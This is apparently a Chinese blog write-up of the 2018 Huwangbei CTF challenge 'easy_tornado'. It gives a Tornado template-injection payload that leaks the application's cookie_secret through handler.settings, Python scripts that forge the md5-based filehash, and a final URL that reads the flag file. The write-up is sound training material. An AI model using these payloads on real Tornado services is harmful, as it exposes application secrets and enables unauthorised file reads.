zoukankan      html  css  js  c++  java
  • [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介

    原题复现:

     考察知识点:模板注入

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

    [护网杯 2018]easy_tornado

    打开页面发现三个链接依次打开  发现各自的文本

    flag in /fllllllllllllag
    render
    md5(cookie_secret+md5(filename))

    从上面三个信息我们的值flag在/fllllllllllllag文件 render这个卡住了看了WP 说render是模板注入,经过测试发现过滤了

    payload:

    http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{1*2}}

    render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

    Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

    然后就是这段代码md5(cookie_secret+md5(filename))  我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret 

    在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

    通过模板注入方式我们可以构造

    关于如何获取cookie_secret是看WP的目前理解的有点混乱不清晰!!!!

    payload:

    http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}

    成功拿到

    根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密

    python3版本

    import hashlib
    hash = hashlib.md5()
    
    filename='/fllllllllllllag'
    cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
    hash.update(filename.encode('utf-8'))
    s1=hash.hexdigest()
    hash = hashlib.md5()
    hash.update((cookie_secret+s1).encode('utf-8'))
    print(hash.hexdigest())

     python2.7版本

    #!-*-coding:utf-8 -*-
    import hashlib
    def md5(s):
        md5 = hashlib.md5()
        md5.update(s)
        print(md5.hexdigest())
        return md5.hexdigest()
        
    def filehash():
        filename = '/fllllllllllllag'
        cookie_secret = '0567b8eb-21bc-4c25-861f-481b36239643'
        print(cookie_secret + md5(filename))
        print(md5(cookie_secret + md5(filename)))
    if __name__ == '__main__':
        filehash()

    得到加密的结果

    filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:

    http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43

    获得flag

     参考学习:

      https://blog.csdn.net/ljphilp/article/details/47103745

      https://www.cnblogs.com/chrysanthemum/p/11716903.html

      https://darkwing.moe/2019/10/30/护网杯2018-easy-tornado/

      SSTI完全学习:https://blog.csdn.net/zz_Caleb/article/details/96480967

            https://www.jianshu.com/p/aef2ae0498df

      https://www.cnblogs.com/20175211lyz/p/11425368.html

      

     

  • 相关阅读:
    批量导入
    循环语句
    判断循环常见
    常见C运算符
    oc将字符串中单词按照出现次数(次数都不一样)降序排序,排序之后单词只出现一次,源字符串中单词用下划线连接,生成字符串也用下滑线连接
    把字符串中的字母大小写反转OC
    查找子串出现次数OC
    现有一个数组NSMutableArray, 数组有若干个NSString的元素,进行选择法排序
    终端的一些命令
    编程语言名字来历
  • 原文地址:https://www.cnblogs.com/xhds/p/12285121.html
Copyright © 2011-2022 走看看